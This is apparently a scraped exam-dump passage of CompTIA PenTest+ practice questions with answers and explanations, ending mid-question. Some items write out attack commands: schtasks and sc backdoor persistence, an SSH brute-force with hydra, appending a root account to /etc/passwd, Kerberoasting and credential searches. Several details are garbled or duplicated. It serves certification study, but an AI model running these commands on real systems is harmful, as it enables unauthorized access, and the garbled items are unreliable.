* RFID (Radio-Frequency Identification) cloning involves copying the data from an access badge and creating a duplicate that can be used for unauthorized entry.
* Tools like Proxmark or RFID duplicators are commonly used for this purpose.
* Why Not Other Options?
* A (Smurfing): A network-based denial-of-service attack, unrelated to physical access.
* B (Credential stuffing): Involves using stolen credentials in bulk for authentication attempts, unrelated to badge cloning.
* D (Card skimming): Relates to stealing credit card information, not access badges.

CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)

**NEW QUESTION: 56**

A penetration tester finishes a security scan and uncovers numerous vulnerabilities on several hosts. Based on the targets' EPSS (Exploit Prediction Scoring System) and CVSS (Common Vulnerability Scoring System) scores, which of the following targets is the most likely to get attacked?

**A.** Target 1: EPSS Score = 0.6, CVSS Score = 4

**B.** Target 2: EPSS Score = 0.3, CVSS Score = 2

**C.** Target 3: EPSS Score = 0.6, CVSS Score = 1

**D.** Target 4: EPSS Score = 0.4, CVSS Score = 4.5

**Answer: (SHOW ANSWER)**

The EPSS (Exploit Prediction Scoring System) estimates how likely a vulnerability is to be exploited. Higher EPSS scores indicate a higher likelihood of exploitation.

* Option A (Target 1) #:
* EPSS 0.6 (60% chance of exploitation)
* CVSS 4 (Medium severity)
* # Best candidate since it has the highest likelihood of exploitation.
* Option B (Target 2) #: EPSS 0.3 (30%) is lower, making it less likely to be attacked.
* Option C (Target 3) #: EPSS 0.6 is high, but CVSS 1 is very low, meaning the vulnerability is not critical.
* Option D (Target 4) #: CVSS 4.5 is higher, but EPSS 0.4 is lower, meaning attackers are less likely to exploit it.

# Reference: CompTIA PenTest+ PT0-003 Official Guide - Vulnerability Prioritization with EPSS & CVSS

**NEW QUESTION: 57**

A penetration tester is searching for vulnerabilities or misconfigurations on a container environment. Which of the following tools will the tester most likely use to achieve this objective?

**A.** Nikto

**B.** Trivy

**C.** Nessus

**D.** Nmap

**Answer: (SHOW ANSWER)**

Containers (e.g., Docker, Kubernetes) require specialized scanning tools to detect vulnerabilities.

Trivy (Option B):

Trivy is an open-source vulnerability scanner designed specifically for containers and Kubernetes environments.

It scans container images, repositories, and running containers for known vulnerabilities (CVEs).

Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Container Security and Vulnerability Scanning" Incorrect options:

Option A (Nikto): Web server scanner, not container-focused.

Option C (Nessus): General network vulnerability scanner, but lacks container-specific scanning.

Option D (Nmap): Network mapper, not a vulnerability scanner.

**NEW QUESTION: 58**
A penetration tester reviews a SAST vulnerability scan report. The following vulnerability has been reported as high severity:
Source file: components.ts
Issue 2 of 12: Command injection
Severity: High
Call: .innerHTML = response
The tester inspects the source file and finds the variable response is defined as a constant and is not referred to or used in other sections of the code. Which of the following describes how the tester should classify this reported vulnerability?
**A.** False negative
**B.** False positive
**C.** True positive
**D.** Low severity
**Answer: (SHOW ANSWER)**
A false positive occurs when a vulnerability scan incorrectly flags a security issue that does not exist or is not exploitable in the context of the application. Here's the reasoning:
* Definition of Command Injection:Command injection vulnerabilities occur when user-controllable data is passed to an interpreter or command execution context without proper sanitization, allowing an attacker to execute arbitrary commands.
* Code Analysis:
* The response variable is defined as a constant (const), which implies its value is immutable during runtime.
* The response is not sourced from user input nor used elsewhere, meaning there is no attack surface or exploitation pathway for an attacker to influence the content of response.
* Scanner Misclassification:Static Application Security Testing (SAST) tools may flag vulnerabilities based on patterns (e.g., .innerHTML usage) without assessing the source and flow of data, resulting in false positives.
* Final Classification:Since the response variable is static and unchangeable, the flagged issue is not exploitable. This makes it a false positive.
CompTIA Pentest+ References:
* Domain 3.0 (Attacks and Exploits)
* Domain 4.0 (Penetration Testing Tools)
* OWASP Static Code Analysis Guide

**NEW QUESTION: 59**
Which of the following elements in a lock should be aligned to a specific level to allow the key cylinder to turn?
**A.** Latches
**B.** Pins

**C.** Shackle

**D.** Plug

**Answer: (SHOW ANSWER)**

In a pin tumbler lock, the key interacts with a series of pins within the lock cylinder. Here's a detailed breakdown:

Components of a Pin Tumbler Lock:

Key Pins: These are the pins that the key directly interacts with. The cuts on the key align these pins.

Driver Pins: These are pushed by the springs and sit between the key pins and the springs.

Springs: These apply pressure to the driver pins.

Plug: This is the part of the lock that the key is inserted into and turns when the correct key is used.

Cylinder: The housing for the plug and the pins.

Operation:

When the correct key is inserted, the key pins are pushed up by the key's cuts to align with the shear line (the gap between the plug and the cylinder).

The alignment of the pins at the shear line allows the plug to turn, thereby operating the lock.

Why Pins Are the Correct answer:

The correct key aligns the key pins and driver pins to the shear line, allowing the plug to turn. If any pin is not correctly aligned, the lock will not open.

Illustration in Lock Picking:

Lock picking involves manipulating the pins so they align at the shear line without the key. This demonstrates the critical role of pins in the functioning of the lock.

**NEW QUESTION: 60**

A penetration tester gains initial access to a target system by exploiting a recent RCE vulnerability. The patch for the vulnerability will be deployed at the end of the week. Which of the following utilities would allow the tester to reenter the system remotely after the patch has been deployed? (Select two).



**A.** schtasks.exe

**B.** rundll.exe

**C.** cmd.exe

**D.** chgusr.exe

**E.** sc.exe

**F.** netsh.exe

**Answer: (SHOW ANSWER)**

To reenter the system remotely after the patch for the recently exploited RCE vulnerability has been deployed, the penetration tester can use schtasks.exe and sc.exe.

schtasks.exe:

Purpose: Used to create, delete, and manage scheduled tasks on Windows systems.

Persistence: By creating a scheduled task, the tester can ensure a script or program runs at a specified time, providing a persistent backdoor.

Example:
schtasks /create /tn "Backdoor" /tr "C:\path\to\backdoor.exe" /sc daily /ru SYSTEM sc.exe:
Purpose: Service Control Manager command-line tool used to manage Windows services.
Persistence: By creating or modifying a service to run a malicious executable, the tester can maintain persistent access.
Example:
sc create backdoor binPath= "C:\path\to\backdoor.exe" start= auto
Other Utilities:
rundll.exe: Used to run DLLs as applications, not typically used for persistence.
cmd.exe: General command prompt, not specifically used for creating persistence mechanisms.
chgusr.exe: Used to change install mode for Remote Desktop Session Host, not relevant for persistence.
netsh.exe: Used for network configuration, not typically used for persistence.
Pentest References:
Post-Exploitation: Establishing persistence is crucial to maintaining access after initial exploitation.
Windows Tools: Understanding how to leverage built-in Windows tools like schtasks.exe and sc.exe to create backdoors that persist through reboots and patches.
By using schtasks.exe and sc.exe, the penetration tester can set up persistent mechanisms that will allow reentry into the system even after the patch is applied.

**NEW QUESTION: 61**
Which of the following elements of a penetration test report can be used to most effectively prioritize the remediation efforts for all the findings?
**A.** Methodology
**B.** Detailed findings list
**C.** Risk score
**D.** Executive summary
**Answer: (SHOW ANSWER)**
Risk scores quantify the severity and likelihood of exploitation for each finding. This helps organizations prioritize which vulnerabilities to remediate first based on potential impact and exploitability.
Methodology outlines how the test was performed.
Findings list shows issues, but without prioritization.
Executive summary provides a high-level overview for decision-makers, not technical prioritization.
Reference: PT0-003 Objective 5.2 - Reporting components including risk ratings and prioritization.

**NEW QUESTION: 62**
While conducting OSINT, a penetration tester discovers the client's administrator posted part of an unsanitized firewall configuration to a troubleshooting message board. Which of the following did the penetration tester most likely use?
**A.** HTML scraping
**B.** Public code repository scanning
**C.** Wayback Machine
**D.** Search engine enumeration
**Answer: (SHOW ANSWER)**
Search engine enumeration refers to using advanced search operators (e.g., Google Dorking) to find sensitive or misconfigured data exposed publicly on the internet. In this case, the administrator inadvertently posted firewall configuration details, and a tester likely used specific search queries to discover this data.
According to the CompTIA PenTest+ PT0-003 Official Study Guide (Chapter 3 - Passive Reconnaissance and OSINT):
"Search engine enumeration, often using dorking techniques, can uncover publicly available but sensitive data, such as configuration files, credentials, or documents unintentionally published online." Reference: Chapter 3, CompTIA PenTest+ PT0-003 Official Study Guide

**NEW QUESTION: 63**
A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?
**A.** Target 1: EPSS Score = 0.6 and CVSS Score = 4
**B.** Target 2: EPSS Score = 0.3 and CVSS Score = 2
**C.** Target 3: EPSS Score = 0.6 and CVSS Score = 1
**D.** Target 4: EPSS Score = 0.4 and CVSS Score = 4.5
**Answer: A (LEAVE A REPLY)**
* EPSS and CVSS Analysis:
* EPSS (Exploit Prediction Scoring System) indicates the likelihood of exploitation.
* CVSS (Common Vulnerability Scoring System) represents the severity of the vulnerability.
* Rationale:

* Target 1 has the highest EPSS score (0.6) combined with a moderately high CVSS score (4), making it the most likely to be attacked.
* Other options either have lower EPSS or CVSS scores, reducing their likelihood of being exploited.
CompTIA Pentest+ References:
* Domain 2.0 (Information Gathering and Vulnerability Identification)

**NEW QUESTION: 64**
During an assessment, a penetration tester runs the following command from a Linux machine:
GetUsersSPNs.py -dc-ip 172.16.1.1 DOMAIN.LOCAL/aholliday -request
Which of the following is the penetration tester trying to do?
**A.** Crack the user password for aholliday
**B.** Download all TGS tickets for offline processing
**C.** Perform a pass-the-hash attack using the hash for aholliday
**D.** Perform password spraying
**Answer: (SHOW ANSWER)**
The GetUserSPNs.py script (part of Impacket) is used in Kerberoasting attacks. It requests Service Principal Names (SPNs) for users with associated services, retrieves TGS tickets, and then allows offline cracking of those tickets.
From the CompTIA PenTest+ PT0-003 Study Guide (Chapter 8 - Post-Exploitation):
"Kerberoasting involves requesting service tickets for SPNs, which can then be cracked offline to retrieve service account passwords." Reference: Chapter 8, CompTIA PenTest+ PT0-003 Official Study Guide

**NEW QUESTION: 65**
A penetration tester cannot complete a full vulnerability scan because the client's WAF is blocking communications. During which of the following activities should the penetration tester discuss this issue with the client?
**A.** Goal reprioritization
**B.** Peer review
**C.** Client acceptance
**D.** Stakeholder alignment
**Answer: (SHOW ANSWER)**
* Stakeholder Alignment:
* During stakeholder alignment, the penetration tester and client discuss challenges, constraints, and objectives.
* Addressing WAF interference ensures the scope and goals are adjusted or mitigated to accommodate the issue.
* Why Not Other Options?
* A: Goal reprioritization focuses on internal team adjustments, not client collaboration.
* B: Peer review evaluates findings and methodologies but doesn't involve clients.

* C: Client acceptance occurs post-assessment, not during active engagement.
CompTIA Pentest+ References:
* Domain 1.0 (Planning and Scoping)

**NEW QUESTION: 66**
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:
Which of the following targets should the tester select next?
**A.** fileserver
**B.** hrdatabase
**C.** legaldatabase
**D.** financesite
**Answer: (SHOW ANSWER)**
Evaluation Criteria:
CVSS (Common Vulnerability Scoring System): Indicates the severity of vulnerabilities, with higher scores representing more critical vulnerabilities.
EPSS (Exploit Prediction Scoring System): Estimates the likelihood of a vulnerability being exploited in the wild.
Analysis:
hrdatabase: CVSS = 9.9, EPSS = 0.50
financesite: CVSS = 8.0, EPSS = 0.01
legaldatabase: CVSS = 8.2, EPSS = 0.60
fileserver: CVSS = 7.6, EPSS = 0.90
Selection Justification:
fileserver has the highest EPSS score of 0.90, indicating a high likelihood of exploitation despite having a slightly lower CVSS score compared to other targets.
This makes it a critical target for immediate testing to mitigate potential exploitation risks.
Pentest References:
Risk Prioritization: Balancing between severity (CVSS) and exploitability (EPSS) is crucial for effective vulnerability management.
Risk Assessment: Evaluating both the impact and the likelihood of exploitation helps in making informed decisions about testing priorities.
By selecting the fileserver, the penetration tester focuses on a target that is highly likely to be exploited, addressing the most immediate risk based on the given scores.
Top of Form
Bottom of Form

**NEW QUESTION: 67**
Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?
**A.** The tester is conducting a web application test.

**B.** The tester is assessing a mobile application.
**C.** The tester is evaluating a thick client application.
**D.** The tester is creating a threat model.
**Answer: (SHOW ANSWER)**
DREAD (Damage, Reproducibility, Exploitability, Affected Users, Discoverability) is a threat modeling framework used to assess and prioritize risks.
* Option A (Web application test) #: While DREAD can be used in web security, PTES (Penetration Testing Execution Standard) is a better framework for conducting pentests.
* Option B (Mobile application test) #: PTES provides guidelines for mobile security testing, whereas DREAD is for threat modeling.
* Option C (Thick client application) #: Thick clients require specific testing methodologies, not DREAD.
* Option D (Creating a threat model) #: Correct.
* DREAD is designed for risk assessment and prioritization.
* PTES focuses on penetration testing execution, not threat modeling.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Threat Modeling with DREAD vs. PTES

**NEW QUESTION: 68**
A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be a function of the rules of engagement?
**A.** Testing window
**B.** Terms of service
**C.** Authorization letter
**D.** Shared responsibilities
**Answer: (SHOW ANSWER)**
The rules of engagement define the scope, limitations, and conditions under which a penetration test is conducted. Here's why option A is correct:
* Testing Window: This specifies the time frame during which the penetration testing activities are authorized to occur. It is a crucial part of the rules of engagement to ensure the testing does not disrupt business operations and is conducted within agreed-upon hours.
* Terms of Service: This generally refers to the legal agreement between a service provider and user, not specific to penetration testing engagements.
* Authorization Letter: This provides formal permission for the penetration tester to perform the assessment but is not a component of the rules of engagement.
* Shared Responsibilities: This refers to the division of security responsibilities between parties, often seen in cloud service agreements, but not specifically a function of the rules of engagement.
References from Pentest:
* Luke HTB: Highlights the importance of clearly defining the testing window in the rules of engagement to ensure all parties are aligned.

* Forge HTB: Demonstrates the significance of having a well-defined testing window to avoid disruptions and ensure compliance during the assessment.

**NEW QUESTION: 69**
A penetration tester wants to send a specific network packet with custom flags and sequence numbers to a vulnerable target. Which of the following should the tester use?
**A.** tcprelay
**B.** Bluecrack
**C.** Scapy
**D.** tcpdump
**Answer: (SHOW ANSWER)**
Scapy is a powerful interactive Python-based packet manipulation tool used by penetration testers to create, modify, send, and analyze custom packets. It supports many protocols and allows you to set TCP flags, sequence numbers, and more.
tcprelay is used to redirect TCP traffic, not to craft packets.
Bluecrack is used for cracking Bluetooth encryption, irrelevant in this context.
tcpdump is a packet capture tool, not suitable for crafting or injecting packets.
Reference: PT0-003 Objective 3.4 - Tools for manipulating traffic, including Scapy for custom packet creation.

**NEW QUESTION: 70**
A penetration tester is researching a path to escalate privileges. While enumerating current user privileges, the tester observes the following:
SeAssignPrimaryTokenPrivilege Disabled
SeIncreaseQuotaPrivilege Disabled
SeChangeNotifyPrivilege Enabled
SeManageVolumePrivilege Enabled
SeImpersonatePrivilege Enabled
SeCreateGlobalPrivilege Enabled
SeIncreaseWorkingSetPrivilege Disabled
Which of the following privileges should the tester use to achieve the goal?

**A.** SeImpersonatePrivilege
**B.** SeCreateGlobalPrivilege
**C.** SeChangeNotifyPrivilege
**D.** SeManageVolumePrivilege
**Answer: (SHOW ANSWER)**
The SeImpersonatePrivilege allows a process to impersonate another user's security context, which is commonly used in token manipulation attacks for privilege escalation.
* Option A (SeImpersonatePrivilege) #: Correct.
* Used in Juicy Potato or Rogue Potato attacks to escalate privileges.
* Option B (SeCreateGlobalPrivilege) #: Allows creating global objects, but not privilege escalation.

* Option C (SeChangeNotifyPrivilege) #: Enables traverse directory access, not privilege escalation.
* Option D (SeManageVolumePrivilege) #: Used for disk management, not privilege escalation.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Windows Privilege Escalation via Token Impersonation

**NEW QUESTION: 71**
A penetration tester attempts unauthorized entry to the company's server room as part of a security assessment. Which of the following is the best technique to manipulate the lock pins and open the door without the original key?
**A.** Plug spinner
**B.** Bypassing
**C.** Decoding
**D.** Raking
**Answer: (SHOW ANSWER)**
Lock picking techniques are used in physical security assessments to test access control mechanisms.
Raking (Option D):
Raking is a lock-picking technique where a rake pick is inserted and rapidly moved in and out to manipulate multiple pins simultaneously.
It is faster but less precise than single-pin picking.
Used when speed is prioritized over precision.
Reference: CompTIA PenTest+ PT0-003 Official Study Guide - "Physical Security Testing Methods" Incorrect options:
Option A (Plug spinner): Used after a lock is picked to rotate the plug in the correct direction.
Option B (Bypassing): Uses methods like shimming or card sliding, which do not manipulate pins.
Option C (Decoding): Involves reading lock components (e.g., key cuts) to generate a working key rather than picking.

**NEW QUESTION: 72**
A penetration tester identifies the URL for an internal administration application while following DevOps team members on their commutes. Which of the following attacks did the penetration tester most likely use?
**A.** Shoulder surfing
**B.** Dumpster diving
**C.** Spear phishing
**D.** Tailgating
**Answer: (SHOW ANSWER)**
La tecnica utilizada en este escenario es Shoulder Surfing, que consiste en observar directamente a una persona mientras trabaja, con el objetivo de recopilar informacion sensible, como credenciales, direcciones URL internas u otros datos confidenciales.

En este caso, el pentester siguio a los miembros del equipo DevOps durante sus desplazamientos (commute) y logro identificar una URL interna. No se uso ingenieria social directa (como en spear phishing), ni acceso fisico no autorizado (como en tailgating), ni revision de basura (dumpster diving).
Referencia: PT0-003 Objective 2.1 - Explain the importance of physical security assessments. Shoulder surfing is listed as a key social engineering technique.

**NEW QUESTION: 73**
A penetration tester observes the following output from an Nmap command while attempting to troubleshoot connectivity to a Linux server:
Starting Nmap 7.91 ( https://nmap.org ) at 2024-01-10 12:00 UTC
Nmap scan report for example.com (192.168.1.10)
Host is up (0.001s latency).
Not shown: 9999 closed ports
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
2222/tcp open ssh
444/tcp open microsoft-ds
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
Which of the following is the most likely reason for the connectivity issue?
**A.** The SSH service is running on a different port.
**B.** The SSH service is blocked by a firewall.
**C.** The SSH service requires certificate authentication.
**D.** The SSH service is not active.
**Answer: (SHOW ANSWER)**
The key detail in the Nmap scan output is that port 2222/tcp is open and running the SSH service. The standard SSH port is 22, so if the tester was attempting to connect on port 22, they would not succeed because SSH is instead listening on port 2222.
This is a common security hardening tactic-moving services to non-standard ports to reduce automated attacks.
There is no indication that the service is blocked (B), or requires certificates (C), or is inactive (D), because Nmap clearly shows the service is open and identified.
CompTIA PenTest+ Reference:
PT0-003 Objective 3.3: Analyze tool output or data related to engagement activities.
Nmap usage and interpreting scan results is emphasized in multiple sections.

**NEW QUESTION: 74**

A previous penetration test report identified a host with vulnerabilities that was successfully exploited. Management has requested that an internal member of the security team reassess the host to determine if the vulnerability still exists.

Part 1:

. Analyze the output and select the command to exploit the vulnerable service.

Part 2:

. Analyze the output from each command.

* Select the appropriate set of commands to escalate privileges.
* Identify which remediation steps should be taken.

**Answer:**

See the Explanation below for complete solution.

Explanation:

The command that would most likely exploit the services is:

hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22

The appropriate set of commands to escalate privileges is:

echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd

The remediations that should be taken after the successful privilege escalation are:

Remove the SUID bit from cp.

Make backup script not world-writable.

Comprehensive Step-by-Step Explanation of the Simulation

Part 1: Exploiting Vulnerable Service

Nmap Scan Analysis

Command: nmap -sC -T4 192.168.10.2

Purpose: This command runs a default script scan with timing template 4 (aggressive).

Output:

bash

Copy code

Port State Service

22/tcp open ssh

23/tcp closed telnet

80/tcp open http

111/tcp closed rpcbind

445/tcp open samba

3389/tcp closed rdp

Ports open are SSH (22), HTTP (80), and Samba (445).

Enumerating Samba Shares

Command: enum4linux -S 192.168.10.2

Purpose: To enumerate Samba shares and users.

Output:

makefile

Copy code

user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x42]
user:[syslog] rid:[0x4ba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[lowpriv] rid:[0x3fa]
We identify a user lowpriv.
Selecting Exploit Command
Hydra Command: hydra -l lowpriv -P 500-worst-passwords.txt -t 4 ssh://192.168.10.2:22 Purpose: To perform a brute force attack on SSH using the lowpriv user and a list of the 500 worst passwords.
-l lowpriv: Specifies the username.
-P 500-worst-passwords.txt: Specifies the password list.
-t 4: Uses 4 tasks/threads for the attack.
ssh://192.168.10.2:22: Specifies the SSH service and port.
Executing the Hydra Command
Result: Successful login as lowpriv user if a match is found.
Part 2: Privilege Escalation and Remediation
Finding SUID Binaries and Configuration Files
Command: find / -perm -2 -type f 2>/dev/null | xargs ls -l
Purpose: To find world-writable files.
Command: find / -perm -u=s -type f 2>/dev/null | xargs ls -l
Purpose: To find files with SUID permission.
Command: grep "/bin/bash" /etc/passwd | cut -d':' -f1-4,6,7
Purpose: To identify users with bash shell access.
Selecting Privilege Escalation Command
Command: echo "root2:5ZOYXRFHVZ7OY::0:0:root:/root:/bin/bash" >> /etc/passwd Purpose: To create a new root user entry in the passwd file.
root2: Username.
5ZOYXRFHVZ7OY: Password hash.
0:0: User and group ID (root).
/root: Home directory.
/bin/bash: Default shell.
Executing the Privilege Escalation Command
Result: Creation of a new root user root2 with a specified password.
Remediation Steps Post-Exploitation
Remove SUID Bit from cp:
Command: chmod u-s /bin/cp

Purpose: Removing the SUID bit from cp to prevent misuse.
Make Backup Script Not World-Writable:
Command: chmod o-w /path/to/backup/script
Purpose: Ensuring backup script is not writable by all users to prevent unauthorized modifications.
Execution and Verification
Verifying Hydra Attack:
Run the Hydra command and monitor for successful login attempts.
Verifying Privilege Escalation:
After appending the new root user to the passwd file, attempt to switch user to root2 and check root privileges.
Implementing Remediation:
Apply the remediation commands to secure the system and verify the changes have been implemented.
By following these detailed steps, one can replicate the simulation and ensure a thorough understanding of both the exploitation and the necessary remediations.

**NEW QUESTION: 75**
With one day left to complete the testing phase of an engagement, a penetration tester obtains the following results from an Nmap scan:
Not shown: 1670 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.3 (CentOS)
3306/tcp open mysql MySQL (unauthorized)
8888/tcp open http lighttpd 1.4.32
Which of the following tools should the tester use to quickly identify a potential attack path?
**A.** msfvenom
**B.** SearchSploit
**C.** sqlmap
**D.** BeEF
**Answer: (SHOW ANSWER)**
* SearchSploit is a command-line interface for Exploit-DB that allows testers to quickly search for known exploits based on software name and version.
* With Apache 2.2.3, lighttpd 1.4.32, and MySQL, the tester can plug these into SearchSploit to identify vulnerabilities, matching the goal of finding quick attack paths with limited time.
Other tools:
* msfvenom: Payload generator, not a search tool.
* sqlmap: SQLi exploitation tool, useful for web apps with SQLi, but requires validation of such a vuln first.
* BeEF: Browser exploitation framework, not relevant here.
CompTIA PenTest+ Reference:

* PT0-003 Objective 2.2 & 2.5: Exploit and identify attack paths.
* SearchSploit and Exploit-DB usage are recommended tools in CompTIA's resources.

**NEW QUESTION: 76**
A penetration tester completes a scan and sees the following Nmap output on a host:
Nmap scan report for victim (10.10.10.10)
Host is up (0.0001s latency)
PORT STATE SERVICE
161/udp open snmp
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
Running Microsoft Windows 7
OS CPE: cpe:/o:microsoft:windows_7::sp0
The tester wants to obtain shell access. Which of the following related exploits should the tester try first?
**A.** exploit/windows/smb/psexec
**B.** exploit/windows/smb/ms08_067_netapi
**C.** exploit/windows/smb/ms17_010_eternalblue
**D.** auxiliary/scanner/snmp/snmp_login
**Answer: (SHOW ANSWER)**
Since the system is running Windows 7 SP0, it is highly likely to be vulnerable to MS17-010 (EternalBlue), a critical SMB vulnerability used for remote code execution (RCE).
* Option A (psexec) #: PsExec requires valid credentials, which we do not have yet.
* Option B (ms08_067_netapi) #: MS08-067 targets Windows XP/Server 2003, but the system is Windows 7.
* Option C (ms17_010_eternalblue) #: Correct.
* EternalBlue allows remote exploitation of SMBv1 in Windows 7/Server 2008.
* Option D (snmp_login scanner) #: Only checks default SNMP credentials, not an exploit.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - SMB Exploitation & EternalBlue



**NEW QUESTION: 77**

A penetration tester is attempting to discover vulnerabilities in a company's web application. Which of the following tools would most likely assist with testing the security of the web application?

**A.** OpenVAS

**B.** Nessus

**C.** sqlmap

**D.** Nikto

**Answer: (SHOW ANSWER)**

When testing the security of a web application, specific tools are designed to uncover vulnerabilities and issues. Here's an overview of the tools mentioned and why Nikto is the most suitable for this task:

Nikto:

Purpose: Nikto is a web server scanner that performs comprehensive tests against web servers for multiple items, including potentially dangerous files/programs, outdated versions, and other security issues.

Relevance: It is designed specifically for discovering vulnerabilities in web applications, making it the most appropriate choice for a penetration tester targeting a web application.

Comparison with Other Tools:

OpenVAS: A general-purpose vulnerability scanner that targets a wide range of network services and hosts, not specifically tailored for web applications.

Nessus: Similar to OpenVAS, Nessus is a comprehensive vulnerability scanner but is broader in scope and not focused solely on web applications.

sqlmap: This tool is excellent for SQL injection testing but is limited to database vulnerabilities and doesn't cover the full spectrum of web application security issues.

**NEW QUESTION: 78**

During host discovery, a security analyst wants to obtain GeoIP information and a comprehensive summary of exposed services. Which of the following tools is best for this task?

**A.** WiGLE.net

**B.** WHOIS

**C.** theHarvester

**D.** Censys.io

**Answer: D (LEAVE A REPLY)**

Censys.io is a powerful reconnaissance tool that scans the internet and provides detailed information about exposed services, certificates, and GeoIP data.

* Option A (WiGLE.net) #: Used for wireless network mapping, not host discovery.

* Option B (WHOIS) #: Provides domain registration information, not GeoIP or service summaries.

* Option C (theHarvester) #: Used for OSINT, mainly to collect emails, subdomains, and usernames.

* Option D (Censys.io) #: Correct. Censys provides:

* GeoIP data (location of hosts).
* Exposed services and open ports.
* TLS certificate analysis.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Reconnaissance and OSINT Tools

**NEW QUESTION: 79**
A penetration tester gains access to a domain server and wants to enumerate the systems within the domain.
Which of the following tools would provide the best oversight of domains?
**A.** Netcat
**B.** Wireshark
**C.** Nmap
**D.** Responder
**Answer: (SHOW ANSWER)**
* Installation:
* Nmap can be installed on various operating systems. For example, on a Debian-based system:
sudo apt-get install nmap
* Basic Network Scanning:
* To scan a range of IP addresses in the network:
nmap -sP 192.168.1.0/24
* Service and Version Detection:
* To scan for open ports and detect the service versions running on a specific host:
nmap -sV 192.168.1.10
* Enumerating Domain Systems:
* Use Nmap with additional scripts to enumerate domain systems. For example, using the --script option:
nmap -p 445 --script=smb-enum-domains 192.168.1.10
* Advanced Scanning Options:
* Stealth Scan: Use the -sS option to perform a stealth scan:
nmap -sS 192.168.1.10
* Aggressive Scan: Use the -A option to enable OS detection, version detection, script scanning, and traceroute:
nmap -A 192.168.1.10
* Real-World Example:
* A penetration tester uses Nmap to enumerate the systems within a domain by scanning the network for live hosts and identifying the services running on each host. This information helps in identifying potential vulnerabilities and entry points for further exploitation.
* References from Pentesting Literature:
* In "Penetration Testing - A Hands-on Introduction to Hacking," Nmap is extensively discussed for various stages of the penetration testing process, from reconnaissance to vulnerability assessment.

* HTB write-ups often illustrate the use of Nmap for network enumeration and discovering potential attack vectors.
References:
* Penetration Testing - A Hands-on Introduction to Hacking
* HTB Official Writeups

**NEW QUESTION: 80**

During a routine penetration test, the client's security team observes logging alerts that indicate several ID badges were reprinted after working hours without authorization. Which of the following is the penetration tester most likely trying to do?



**A.** Obtain long-term, valid access to the facility
**B.** Disrupt the availability of facility access systems
**C.** Change access to the facility for valid users
**D.** Revoke access to the facility for valid users
**Answer: (SHOW ANSWER)**
The unauthorized reprinting of ID badges suggests the penetration tester is attempting physical security penetration testing to gain long-term access.
* Option A (Obtain long-term, valid access) #: Correct. Cloning or reprinting badges allows persistent access past security checks.
* Option B (Disrupt availability) #: There is no indication of a denial-of-service attack.
* Option C (Change access for valid users) #: The goal is not modifying user access, but rather gaining unauthorized access.
* Option D (Revoke access for valid users) #: The logs show new badges being printed, not revocation.
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Physical Security Testing

**NEW QUESTION: 81**
A penetration tester needs to scan a remote infrastructure with Nmap. The tester issues the following command:
nmap 10.10.1.0/24
Which of the following is the number of TCP ports that will be scanned?
**A.** 256
**B.** 1,000
**C.** 1,024
**D.** 65,535
**Answer: (SHOW ANSWER)**
By default, Nmap scans the top 1,000 most commonly used TCP ports unless otherwise specified.
Option A (256) #: Incorrect. This refers to the number of hosts in a /24 subnet, not the number of ports scanned.

Option B (1,000) #: Correct. Nmap defaults to scanning the 1,000 most common TCP ports unless the -p flag is used to specify a different range.
Option C (1,024) #: Incorrect. The first 1,024 ports are well-known ports, but Nmap scans 1,000 by default, not 1,024.
Option D (65,535) #: Incorrect. Nmap only scans all ports if the -p- flag is used (e.g., nmap -p- <target>).
# Reference: CompTIA PenTest+ PT0-003 Official Guide - Network Scanning with Nmap

**NEW QUESTION: 82**
A penetration tester needs to complete cleanup activities from the testing lead. Which of the following should the tester do to validate that reverse shell payloads are no longer running?
**A.** Run scripts to terminate the implant on affected hosts.
**B.** Spin down the C2 listeners.
**C.** Restore the firewall settings of the original affected hosts.
**D.** Exit from C2 listener active sessions.
**Answer: A (LEAVE A REPLY)**
To ensure that reverse shell payloads are no longer running, it is essential to actively terminate any implanted malware or scripts. Here's why option A is correct:
* Run Scripts to Terminate the Implant: This ensures that any reverse shell payloads or malicious implants are actively terminated on the affected hosts. It is a direct and effective method to clean up after a penetration test.
* Spin Down the C2 Listeners: This stops the command and control listeners but does not remove the implants from the hosts.
* Restore the Firewall Settings: This is important for network security but does not directly address the termination of active implants.
* Exit from C2 Listener Active Sessions: This closes the current sessions but does not ensure that implants are terminated.
References from Pentest:
* Anubis HTB: Demonstrates the process of cleaning up and ensuring that all implants are removed after an assessment.
* Forge HTB: Highlights the importance of thoroughly cleaning up and terminating any payloads or implants to leave the environment secure post-assessment.

**NEW QUESTION: 83**
During an assessment, a penetration tester gains a low-privilege shell and then runs the following command:
findstr /SIM /C:"pass" *.txt *.cfg *.xml
Which of the following is the penetration tester trying to enumerate?
**A.** Configuration files
**B.** Permissions
**C.** Virtual hosts

**D.** Secrets

**Answer: (SHOW ANSWER)**

The command searches for the keyword "pass" (passwords) across all .txt, .cfg, and .xml files, which are common locations for stored credentials.

Option A (Configuration files) #: While .cfg files may contain settings, the search is specifically for secrets (passwords).

Option B (Permissions) #: The command does not list permissions.

Option C (Virtual hosts) #: This does not relate to virtual host enumeration.

Option D (Secrets) #: Correct. The tester is looking for stored passwords or sensitive data.

# Reference: CompTIA PenTest+ PT0-003 Official Guide - Privilege Escalation Techniques

**NEW QUESTION: 84**

A penetration tester writes the following script to enumerate a /24 network:

```
1 #!/bin/bash
